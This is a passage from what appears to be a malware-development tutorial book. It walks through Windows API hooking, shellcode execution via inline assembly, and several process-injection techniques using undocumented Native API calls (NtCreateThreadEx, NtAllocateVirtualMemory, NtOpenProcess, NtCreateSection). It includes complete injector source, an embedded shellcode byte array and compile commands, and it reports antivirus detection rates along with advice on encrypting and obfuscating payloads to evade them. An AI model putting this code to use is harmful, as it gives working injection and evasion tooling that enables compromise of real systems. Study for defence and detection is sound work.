0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

Let’s go to compile our simple malware:

139
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Let’s go to launch a hack.exe on windows 7 x64:


.\hack.exe

Also perfectly worked on windows 10 x64 (build 18363):

140
Let’s go to upload our malware to virustotal:

https://www.virustotal.com/gui/file/f03bdb9fa52f7b61ef03141fefff1498ad261
2740b1fdbf6941f1c5af5eee70a?nocache=1
So, 25 of 67 AV engines detect our file as malicious.
For better result we can combine payload encryption with random key and
obfuscate functions with another keys etc.
Also we can use AES encryption for payload encryption.

141
BlackHat USA 2019 process injection techniques Gotta Catch Them All
MSDN Fibers
VirtualAlloc
ConvertThreadToFiber
CreateFiber
SwitchToFiber
memcpy
Source code in Github

19. windows API hooking. Simple C++ example.

what is API hooking?


API hooking is a technique by which we can instrument and modify the behaviour
and flow of API calls. This technique is also used by many AV solutions to
detect if code is malicious.

example 1
Before hooking windows API functions I will consider the case of how to do this
with an exported function from a DLL.
For example we have DLL with this logic (pet.cpp):
/*
pet.dll - DLL example for basic hooking
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD ul_reason_for_call, LPVOID lpReserved) {

142
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

extern "C" {
__declspec(dllexport) int _cdecl Cat(LPCTSTR say) {
MessageBox(NULL, say, "=ˆ..ˆ=", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Mouse(LPCTSTR say) {
MessageBox(NULL, say, "<:3()~~", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Frog(LPCTSTR say) {
MessageBox(NULL, say, "8)~", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Bird(LPCTSTR say) {
MessageBox(NULL, say, "<(-)", MB_OK);
return 1;
}
}

As you can see this DLL have simplest exported functions: Cat, Mouse, Frog,
Bird with one param say. As you can see the logic of this functions is simplest,
just pop-up message with title.
Let’s go to compile it:

143
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.cpp -fpermissive

and then, create a simple code to validate this DLL (cat.cpp):


#include <windows.h>

typedef int (__cdecl *CatProc)(LPCTSTR say);


typedef int (__cdecl *BirdProc)(LPCTSTR say);

int main(void) {
HINSTANCE petDll;
CatProc catFunc;
BirdProc birdFunc;
BOOL freeRes;

petDll = LoadLibrary("pet.dll");

if (petDll != NULL) {
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
birdFunc = (BirdProc) GetProcAddress(petDll, "Bird");
if ((catFunc != NULL) && (birdFunc != NULL)) {
(catFunc) ("meow-meow");
(catFunc) ("mmmmeow");
(birdFunc) ("tweet-tweet");
}
freeRes = FreeLibrary(petDll);
}

return 0;
}

Let’s go to compile it:


x86_64-w64-mingw32-g++ -O2 cat.cpp -o cat.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

144
and run on Windows 7 x64:
.\cat.exe

145
and as you can see, everything works as expected.
Then, for example Cat function will be hooked in this scenario, but it could be
any.
The workflow of this technique is as follows:
First, get memory address of the Cat function.

then, save the first 5 bytes of the Cat function. We will need this bytes:

146
then, create a myFunc function that will be executed when the original Cat is
called:

overwrite 5 bytes with a jump to myFunc:

Then, create a “patch”:

147
in the next step, patch our Cat function (redirect Cat function to myFunc):

So what have we done here? This trick is “classic 5-byte hook” technique. If we
disassemble function:

The highlighted 5 bytes is a fairly typical prologue found in many API functions.
By overwriting these first 5 bytes with a jmp instruction, we are redirecting
execution to our own defined function. We will save the original bytes so that
they can be referenced later when we want to pass execution back to the hooked
function.
So firstly, we call original Cat function, set our hook and call Cat again:

148
Full source code is:
/*
hooking.cpp
basic hooking example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/30/basic-hooking-1.html
*/
#include <windows.h>

typedef int (__cdecl *CatProc)(LPCTSTR say);

// buffer for saving original bytes


char originalBytes[5];

FARPROC hookedAddress;

// we will jump to after the hook has been installed


int __stdcall myFunc(LPCTSTR say) {
HINSTANCE petDll;
CatProc catFunc;

// unhook the function: rewrite original bytes


WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress,
originalBytes, 5, NULL);

// return to the original function and modify the text

149
petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");

return (catFunc) ("meow-squeak-tweet!!!");


}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};

// get memory address of function Cat


hLib = LoadLibraryA("pet.dll");
hookedAddress = GetProcAddress(hLib, "Cat");

// save the first 5 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress,
originalBytes, 5, NULL);

// overwrite the first 5 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// will jump from the next instruction


// (after our 5 byte jmp instruction)
src = (DWORD)hookedAddress + 5;
dst = (DWORD)myFuncAddress;
rOffset = (DWORD *)(dst-src);

// \xE9 - jump instruction


memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &rOffset, 4);

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch,
5, NULL);

int main() {
HINSTANCE petDll;

150
CatProc catFunc;

petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");

// call original Cat function


(catFunc)("meow-meow");

// install hook
setMySuperHook();

// call Cat function after install hook


(catFunc)("meow-meow");

Let’s go to compile this:


x86_64-w64-mingw32-g++ -O2 hooking.cpp -o hooking.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And see it in action (on Windows 7 x64 in this case):


.\hooking.exe

151
As you can see our hook is worked perfectly!! Cat goes meow-squeak-tweet!!!
instead meow-meow!

example 2
Similarly, you can hook for example, a function WinExec from kernel32.dll
(hooking2.cpp):
#include <windows.h>

// buffer for saving original bytes


char originalBytes[5];

FARPROC hookedAddress;

// we will jump to after the hook has been installed


int __stdcall myFunc(LPCSTR lpCmdLine, UINT uCmdShow) {

// unhook the function: rewrite original bytes


WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, originalBytes, 5, NULL);

152
// return to the original function and modify the text
return WinExec("calc", uCmdShow);
}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};

// get memory address of function MessageBoxA


hLib = LoadLibraryA("kernel32.dll");
hookedAddress = GetProcAddress(hLib, "WinExec");

// save the first 5 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress, originalBytes, 5, NULL);

// overwrite the first 5 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// will jump from the next instruction


// (after our 5 byte jmp instruction)
src = (DWORD)hookedAddress + 5;
dst = (DWORD)myFuncAddress;
rOffset = (DWORD *)(dst-src);

// \xE9 - jump instruction


memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &rOffset, 4);

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 5, NULL);

int main() {

// call original
WinExec("notepad", SW_SHOWDEFAULT);

// install hook

153
setMySuperHook();

// call after install hook


WinExec("notepad", SW_SHOWDEFAULT);

Let’s go to compile:
x86_64-w64-mingw32-g++ -O2 hooking2.cpp -o hooking2.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:
.\hooking2.exe

So everything worked as expected.

154
Source code in Github
MessageBox
WinExec
Exporting from DLL using __declspec

20. run shellcode via inline ASM. Simple C++ example.

This is a very short section and it describes an example usage inline assembly
for running shellcode in malware.
Let’s take a look at example C++ source code of our malware:
/*
hack.cpp
code inject via inline ASM
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/03/inline-asm-1.html
*/
#include <windows.h>
#include <stdio.h>

int main() {
printf("=ˆ..ˆ= meow-meow. You are hacked =ˆ..ˆ=\n");
asm(".byte 0x90,0x90,0x90,0x90\n\t"
"ret \n\t");
return 0;
}

As you can see, the logic is simplest, I’m just adding 4 NOP instructions and
printing meow-meow string before. I can easily find the shellcode in the debugger
based on this meow string:

155
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe \
-mconsole -fpermissive

And run in x96dbg (on Windows 7 x64 in my case):

As you can see, the highlighted instructions are my NOP instructions, so every-
thing work perfectly as expected.
The reason why it’s good to have this technique in your arsenal is because it

156
does not require you to allocate new RWX memory to copy your shellcode over
to by using VirtualAlloc which is more popular and suspicious and which is
more closely investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
inline assembly
source code in Github

21. DLL injection via undocumented NtCreateThreadEx.


Simple C++ example.

In the previous sections I wrote about classic DLL injection via CreateRe-
moteThread, via SetWindowsHookEx.
Today I’ll consider another DLL injection technique. Its meaning is that we
are using an undocumented function NtCreateThreadEx. So let’s go to show
how to inject malicious DLL into the remote process by leveraging a Win32API
functions VirtualAllocEx, WriteProcessMemory, WaitForSingleObject and
an officially undocumented Native API NtCreateThreadEx.
First of all, let’s take a look at example C++ source code of our malicious DLL
(evil.c):
/*
DLL example for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/pentest/2021/12/06/malware-injection-9.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

157
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

As usually, it’s pretty simple. Just pop-up “Meow-meow!”.


Let’s go to compile our DLL:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Then, let’s take a look to the source code of our malware (hack.cpp):
/*
hack.cpp
DLL injection via undocumented NtCreateThreadEx example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

158
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

#pragma comment(lib, "advapi32.lib")

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (


OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;

159
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
SIZE_T rl; // return length

char evilDll[] = "evil.dll";


int evilLen = sizeof(evilDll) + 1;

HMODULE hKernel32 = GetModuleHandle("Kernel32");


LPTHREAD_START_ROUTINE lb =
(LPTHREAD_START_ROUTINE) GetProcAddress(
hKernel32, "LoadLibraryA");
pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(
GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");

if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;
}

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed :( exiting...\n");
return -2;
}

160
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);

ntCTEx(&ht, 0x1FFFFF, NULL, ph,


(LPTHREAD_START_ROUTINE) lb, rb,
FALSE, NULL, NULL, NULL, NULL);

if (ht == NULL) {
CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");
}

WaitForSingleObject(ht, INFINITE);

CloseHandle(ht);
CloseHandle(ph);
}
return 0;
}

Let’s go to investigate this code logic. As you can see, firstly, I used a function
FindMyProc from one of my past posts. It’s pretty simple, basically, what it
does, it takes the name of the process we want to inject to and try to find it in
a memory of the operating system, and if it exists, it’s running, this function
return a process ID of that process.
Then, in main function our logic is same as in my classic DLL injection
post. The only difference is we use NtCreateThreadEx function instead
CreateRemoteThread:

161
As shown in this code, the Windows API call can be replaced with Native
API call functions. For example, VirtualAllocEx can be replace with
NtAllocateVirtualMemory, WriteProcessMemory can be replaces with
NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may
change in the future.
But there is a caveat. Let’s go to create simple code for our “victim” process
(mouse.c):
/*
hack.cpp
victim process source code for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int main() {
MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
return 0;
}

As you can see, the logic is simplest, I’s just pop-up Squeak-squeak! message.
Let’s go to compile:

162
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-fpermissive

And check:

So everything is worked perfectly.


Let’s go to inject our malicious DLL to this process. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

163
Then, run process hacker 2:

As you can see, the highlighted process is our victim mouse.exe.


Let’s run our simple malware:
.\hack.exe mouse.exe

164
As you can see our malware is correctly found process ID of victim.
Let’s go to investigate properties of our victim process PID: 3884:

165
As you can see, our malicious DLL successfully injected as expected!
But why we are not injecting to the another process like notepad.exe or
svchost.exe?
I read about Session Separation and I think it is reason of my problem so I have
one question: How I can hacking Windows 10 :)
The reason why it’s good to have this technique in your arsenal is because we
are not using CreateRemoteThread which is more popular and suspicious and
which is more closely investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
Session Separation
source code in Github

166
22. code injection via undocumented NtAllocateVir-
tualMemory. Simple C++ example.

In the previous section I wrote about DLL injection via undocumented


NtCreateThreadEx.
Today I tried to replace another function, for example VirtualAllocEx with
undocumented NT API function NtAllocateVirtualMemory. That’s what came
out of it. So let’s go to show how to inject payload into the remote process by
leveraging a WIN API functions WriteProcessMemory, CreateRemoteThread
and an officially undocumented Native API NtAllocateVirtualMemory.
First of all, let’s take a look at function NtAllocateVirtualMemory syntax:
NTSYSAPI
NTSTATUS
NTAPI NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

So what does this function do? By documentation, reserves, commits, or both, a


region of pages within the user-mode virtual address space of a specified process.
So, similar to Win API VirtualAllocEx.
In order to use NtAllocateVirtualMemory function, we have to define its definition
in our code:

167
Then, loading the ntdll.dll library to invoke NtAllocateVirtualMemory:

And then get starting address of the our function:

And finally allocate memory:

And otherwise the main logic is the same.

168
As shown in this code, the Windows API call can be replaced with Native
API call functions. For example, VirtualAllocEx can be replace with
NtAllocateVirtualMemory, WriteProcessMemory can be replaces with
NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may
change in the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, run process hacker 2:

169
For example, the highlighted process mspaint.exe is our victim.
Let’s run our simple malware:
.\hack.exe 6252

As you can see our meow-meow messagebox is popped-up.


Let’s go to investigate properties of our victim process PID: 6252:

170
As you can see, our meow-meow payload successfully injected as expected!
The reason why it’s good to have this technique in your arsenal is because we
are not using VirtualAllocEx which is more popular and suspicious and which
is more closely investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
In the next section I’ll try to consider another NT API functions, the main logic
is the same but there is a caveat with defining the structures and associated
parameters. Without defining this structures the code will not run.
VirtualAllocEx
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github

171
23. code injection via undocumented Native API functions.
Simple C++ example.

In the previous sections I wrote about DLL injection via undocumented


NtCreateThreadEx and NtAllocateVirtualMemory.
The following post is a result of self-research of malware development technique
which is interaction with the undocumented Native API.
Today I tried to replace another function OpenProcess with undocumented
Native API function NtOpenProcess.
First of all, let’s take a look at function NtOpenProcess syntax:
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);

Here it is worth paying attention to the ObjectAttributes and ClientId


parameters. ObjectAttributes - a pointer to an OBJECT_ATTRIBUTES
structure that specifies the attributes to apply to the process object handle.
This has to be defined and initialized prior to opening the handle. ClientId - a
pointer to a client ID that identifies the thread whose process is to be opened.
In order to use NtOpenProcess function, we have to define its definition in our
code:

172
Similarly, OBJECT_ATTRIBUTES and PCLIENT_ID need to be defined. These
structures are defined under NT Kernel header files.
We can run WinDBG in local kernel mode and run:
dt nt!_OBJECT_ATTRIBUTES

Then run:
dt nt!_CLIENT_ID

173
and:
dt nt!_UNICODE_STRING

174
There is one more caveat. Before returning the handle by the NtOpenProcess
function/ routine, the Object Attributes need to be initialized which
can be applied to the handle. To initialize the Object Attributes an
IntitializeObjectAttributes macro is defined and invoked which specifies
the properties of an object handle to routines that open handles.

IntitializeObjectAttributes
Then, loading the ntdll.dll library to invoke NtOpenProcess:

175
And then get starting addresses of the our functions:

And finally open process:

And otherwise the main logic is the same.

As shown in this code, the Windows API call OpenProcess can be replaced with
Native API call function NtOpenProcess. But we need to define the structures

176
which are defined in the NT kernel header files.
The downside to this method is that the function is undocumented so it may
change in the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, run process hacker 2:

For example, the highlighted process mspaint.exe is our victim.


Let’s run our simple malware:

177
.\hack.exe 4964

As you can see our meow-meow messagebox is popped-up.


Let’s go to investigate properties of our victim process PID: 4964:

As you can see, our meow-meow payload successfully injected as expected!


As you can see the main logic is the same with previous NT API function call
techniques but there is a caveat with defining the structures and associated
parameters. Without defining this structures the code will not run.

178
The reason why it’s good to have this technique in your arsenal is because we
are not using OpenProcess which is more popular and suspicious and which is
more closely investigated by the blue teamers.
Let’s go to upload our new hack.exe with encrypted command to Virustotal
(13.12.2021):

https://www.virustotal.com/gui/file/9f4213643891fc14473948deb15077d9b7b4
d2da3db467932e57e7e383e535e6?nocache=1
So, 5 of 65 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
WinDBG kernel debugging
VirtualAllocEx
NtOpenProcess
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github

179
24. code injection via memory sections. Simple C++
example.

In the previous sections I wrote about classic injections where WinAPI functions
replaced with Native API functions.
The following section is a result of self-research of another malware development
technique.
Although the use of these trick in a regular application is an indication of
something malicious, threat actors will continue to use them for process injection.

what is section?
Section is a memory block that is shared between processes and can be created
with NtCreateSection API.

practical example.
The flow is this technique is: firstly, we create a new section object via
NtCreateSection:

180
Then, before a process can read/write to that block of memory, it has to map a
view of the said section, which can be done with NtMapViewOfSection:

Map a view of the created section to the local malicious process with RW protec-
tion:

Then, map a view of the created section to the remote target process with RX
protection:

As you can see for opening process I used Native API NtOpenProcess function:

181
Then, write our payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

Then, create a remote thread in the target process and point it to the mapped

182
view in the target process to trigger the shellcode via RtlCreateUserThread:

Finally, I used ZwUnmapViewOfSection for clean up:

So full code which demonstrates this technique is:

183
/*
* hack.cpp
* advanced code injection technique via
* NtCreateSection and NtMapViewOfSection
* author @cocomelonc
* https://cocomelonc.github.com/tutorial/
2021/12/13/malware-injection-12.html
*/
#include <iostream>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll")


#pragma comment(lib, "advapi32.lib")

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}

// dt nt!_UNICODE_STRING
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// dt nt!_OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

// dt nt!_CLIENT_ID
typedef struct _CLIENT_ID {
PVOID UniqueProcess;

184
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// NtCreateSection syntax
typedef NTSTATUS(NTAPI* pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// RtlCreateUserThread syntax
typedef NTSTATUS(NTAPI* pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);

// NtOpenProcess syntax
typedef NTSTATUS(NTAPI* pNtOpenProcess)(

185
PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientID
);

// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

186
int main(int argc, char* argv[]) {
// 64-bit meow-meow messagebox without encryption
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
